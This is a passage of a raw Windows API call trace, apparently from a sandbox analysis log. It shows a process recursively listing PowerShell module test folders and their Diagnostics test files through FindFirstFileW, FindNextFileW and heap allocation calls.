	[0182.503] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1
	[0182.503] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.504] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.504] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.504] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.505] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.505] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.505] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4161fa8
	[0182.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.506] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.506] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.506] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.506] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0182.506] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.506] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.506] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.506] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.506] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0182.506] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.507] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.507] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0182.507] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.507] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.508] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.508] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4161fa8
	[0182.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.508] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.508] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.508] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4131f88
	[0182.509] FindNextFileW (in: hFindFile=0x4131f88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.509] FindNextFileW (in: hFindFile=0x4131f88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.509] FindNextFileW (in: hFindFile=0x4131f88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.510] FindClose (in: hFindFile=0x4131f88 | out: hFindFile=0x4131f88) returned 1
	[0182.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.510] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.510] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0182.510] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0182.510] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0
	[0182.510] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.510] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0182.510] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.512] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0182.512] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4183f70
	[0182.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76efe8
	[0182.513] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.513] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1
	[0182.513] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.514] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.514] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.514] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4132020
	[0182.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.515] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
